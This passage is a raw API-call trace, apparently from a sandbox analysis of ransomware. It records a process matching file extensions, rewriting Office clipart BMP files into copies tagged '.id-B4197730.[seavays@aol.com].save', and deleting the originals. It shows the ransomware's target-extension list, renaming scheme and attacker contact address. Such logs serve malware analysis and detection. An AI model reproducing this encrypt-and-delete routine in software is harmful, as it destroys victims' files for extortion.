(lpString=".doc") returned 4 [0164.781] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0164.781] lstrlenW (lpString=".docx") returned 5 [0164.781] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0164.781] lstrlenW (lpString=".pdf") returned 4 [0164.781] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0164.781] lstrlenW (lpString=".xls") returned 4 [0164.781] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0164.781] lstrlenW (lpString=".xlsx") returned 5 [0164.781] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0164.782] lstrlenW (lpString=".ppt") returned 4 [0164.782] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0164.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0164.782] lstrlenW (lpString=".zip") returned 4 [0164.782] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0164.782] lstrlenW (lpString=".rar") returned 4 [0164.782] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0164.782] lstrlenW (lpString=".bz2") returned 4 [0164.782] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0164.782] lstrlenW (lpString=".7z") returned 3 [0164.782] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0164.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0164.782] lstrlenW (lpString=".dbf") returned 4 [0164.782] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0164.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0164.782] lstrlenW (lpString=".1cd") returned 4 [0164.782] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0164.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0164.782] lstrlenW (lpString=".jpg") returned 4 [0164.782] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0164.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0164.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0164.782] lstrlenW (lpString=".doc") returned 4 [0164.782] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0164.782] lstrlenW (lpString=".docx") returned 5 [0164.782] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0164.782] lstrlenW (lpString=".pdf") returned 4 [0164.782] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0164.782] lstrlenW (lpString=".xls") returned 4 [0164.782] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0164.782] lstrlenW (lpString=".xlsx") returned 5 [0164.782] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0164.783] lstrlenW (lpString=".ppt") returned 4 [0164.783] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0164.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0164.783] lstrlenW (lpString=".zip") returned 4 [0164.783] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0164.783] lstrlenW (lpString=".rar") returned 4 [0164.783] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0164.783] lstrlenW (lpString=".bz2") returned 4 [0164.783] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0164.783] lstrlenW (lpString=".7z") returned 3 [0164.783] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0164.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0164.783] lstrlenW (lpString=".dbf") returned 4 [0164.783] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0164.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0164.783] lstrlenW (lpString=".1cd") returned 4 [0164.783] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0164.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0164.783] lstrlenW (lpString=".jpg") returned 4 [0164.783] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0164.783] lstrcmpiW (lpString1=".BMP", lpString2=".save") returned -1 [0164.783] lstrlenW (lpString="J0101857.BMP") returned 12 [0164.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0164.949] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=32184) returned 1 [0164.949] CloseHandle (hObject=0x4b4) returned 1 [0164.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 0x220 [0164.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0164.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0164.950] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.950] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0164.951] GetLastError () returned 0x0 [0164.951] ReadFile (in: hFile=0x4b4, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0164.953] WriteFile (in: hFile=0x4a4, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0164.955] ReadFile (in: hFile=0x4b4, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.955] WriteFile (in: hFile=0x4a4, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.955] SetEndOfFile (hFile=0x4a4) returned 1 [0164.955] CloseHandle (hObject=0x4a4) returned 1 [0164.955] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.955] SetEndOfFile (hFile=0x4b4) returned 1 [0164.958] CloseHandle (hObject=0x4b4) returned 1 [0164.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0164.958] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 1 [0164.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0164.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0164.959] lstrlenW (lpString=".doc") returned 4 [0164.959] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0164.959] lstrlenW (lpString=".docx") returned 5 [0164.959] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0164.959] lstrlenW (lpString=".pdf") returned 4 [0164.959] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0164.959] lstrlenW (lpString=".xls") returned 4 [0164.959] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0164.959] lstrlenW (lpString=".xlsx") returned 5 [0164.959] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0164.959] lstrlenW (lpString=".ppt") returned 4 [0164.959] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0164.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0164.960] lstrlenW (lpString=".zip") returned 4 [0164.960] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0164.960] lstrlenW (lpString=".rar") returned 4 [0164.960] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0164.960] lstrlenW (lpString=".bz2") returned 4 [0164.960] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0164.960] lstrlenW (lpString=".7z") returned 3 [0164.960] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0164.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0164.960] lstrlenW (lpString=".dbf") returned 4 [0164.960] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0164.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0164.960] lstrlenW (lpString=".1cd") returned 4 [0164.960] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0164.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0164.960] lstrlenW (lpString=".jpg") returned 4 [0164.960] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0164.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0164.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0164.960] lstrlenW (lpString=".doc") returned 4 [0164.960] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0164.960] lstrlenW (lpString=".docx") returned 5 [0164.960] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0164.960] lstrlenW (lpString=".pdf") returned 4 [0164.960] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0164.960] lstrlenW (lpString=".xls") returned 4 [0164.960] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0164.960] lstrlenW (lpString=".xlsx") returned 5 [0164.960] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0164.960] lstrlenW (lpString=".ppt") returned 4 [0164.960] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0164.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0164.961] lstrlenW (lpString=".zip") returned 4 [0164.961] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0164.961] lstrlenW (lpString=".rar") returned 4 [0164.961] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0164.961] lstrlenW (lpString=".bz2") returned 4 [0164.961] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0164.961] lstrlenW (lpString=".7z") returned 3 [0164.961] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0164.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0164.961] lstrlenW (lpString=".dbf") returned 4 [0164.961] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0164.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0164.961] lstrlenW (lpString=".1cd") returned 4 [0164.961] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0164.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0164.961] lstrlenW (lpString=".jpg") returned 4 [0164.961] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0164.961] lstrcmpiW (lpString1=".BMP", lpString2=".save") returned -1 [0164.961] lstrlenW (lpString="J0101860.BMP") returned 12 [0164.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0164.962] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=32184) returned 1 [0164.963] CloseHandle (hObject=0x4b4) returned 1 [0164.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 0x220 [0164.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0164.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0164.963] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.963] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0164.964] GetLastError () returned 0x0 [0164.964] ReadFile (in: hFile=0x4b4, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0164.967] WriteFile (in: hFile=0x4a4, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0164.968] ReadFile (in: hFile=0x4b4, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.968] WriteFile (in: hFile=0x4a4, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.969] SetEndOfFile (hFile=0x4a4) returned 1 [0164.969] CloseHandle (hObject=0x4a4) returned 1 [0164.969] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.969] SetEndOfFile (hFile=0x4b4) returned 1 [0164.972] CloseHandle (hObject=0x4b4) returned 1 [0164.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0164.973] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 1 [0164.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0164.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0164.973] lstrlenW (lpString=".doc") returned 4 [0164.973] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0164.973] lstrlenW (lpString=".docx") returned 5 [0164.973] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0164.973] lstrlenW (lpString=".pdf") returned 4 [0164.973] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0164.973] lstrlenW (lpString=".xls") returned 4 [0164.974] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0164.974] lstrlenW (lpString=".xlsx") returned 5 [0164.974] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0164.974] lstrlenW (lpString=".ppt") returned 4 [0164.974] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0164.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0164.974] lstrlenW (lpString=".zip") returned 4 [0164.974] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0164.974] lstrlenW (lpString=".rar") returned 4 [0164.974] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0164.974] lstrlenW (lpString=".bz2") returned 4 [0164.974] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0164.974] lstrlenW (lpString=".7z") returned 3 [0164.974] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0164.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0164.974] lstrlenW (lpString=".dbf") returned 4 [0164.974] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0164.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0164.974] lstrlenW (lpString=".1cd") returned 4 [0164.974] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0164.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0164.974] lstrlenW (lpString=".jpg") returned 4 [0164.974] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0164.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0164.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0164.974] lstrlenW (lpString=".doc") returned 4 [0164.974] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0164.974] lstrlenW (lpString=".docx") returned 5 [0164.974] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0164.974] lstrlenW (lpString=".pdf") returned 4 [0164.974] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0164.975] lstrlenW (lpString=".xls") returned 4 [0164.975] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0164.975] lstrlenW (lpString=".xlsx") returned 5 [0164.975] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0164.975] lstrlenW (lpString=".ppt") returned 4 [0164.975] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0164.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0164.975] lstrlenW (lpString=".zip") returned 4 [0164.975] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0164.975] lstrlenW (lpString=".rar") returned 4 [0164.975] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0164.975] lstrlenW (lpString=".bz2") returned 4 [0164.975] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0164.975] lstrlenW (lpString=".7z") returned 3 [0164.975] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0164.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0164.975] lstrlenW (lpString=".dbf") returned 4 [0164.975] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0164.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0164.975] lstrlenW (lpString=".1cd") returned 4 [0164.975] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0164.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0164.975] lstrlenW (lpString=".jpg") returned 4 [0164.975] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0164.975] lstrcmpiW (lpString1=".BMP", lpString2=".save") returned -1 [0164.975] lstrlenW (lpString="J0101861.BMP") returned 12 [0164.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0164.976] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=32184) returned 1 [0164.976] CloseHandle (hObject=0x4b4) returned 1 [0164.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 0x220 [0164.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0164.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0164.977] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.977] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0164.978] GetLastError () returned 0x0 [0164.978] ReadFile (in: hFile=0x4b4, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0164.980] WriteFile (in: hFile=0x4a4, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0164.982] ReadFile (in: hFile=0x4b4, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.982] WriteFile (in: hFile=0x4a4, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.982] SetEndOfFile (hFile=0x4a4) returned 1 [0164.982] CloseHandle (hObject=0x4a4) returned 1 [0164.982] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.982] SetEndOfFile (hFile=0x4b4) returned 1 [0164.994] CloseHandle (hObject=0x4b4) returned 1 [0164.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0164.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 1 [0164.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0164.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0164.995] lstrlenW (lpString=".doc") returned 4 [0164.995] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0164.995] lstrlenW (lpString=".docx") returned 5 [0164.995] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0164.995] lstrlenW (lpString=".pdf") returned 4 [0164.995] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0164.995] lstrlenW (lpString=".xls") returned 4 [0164.995] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0164.995] lstrlenW (lpString=".xlsx") returned 5 [0164.995] 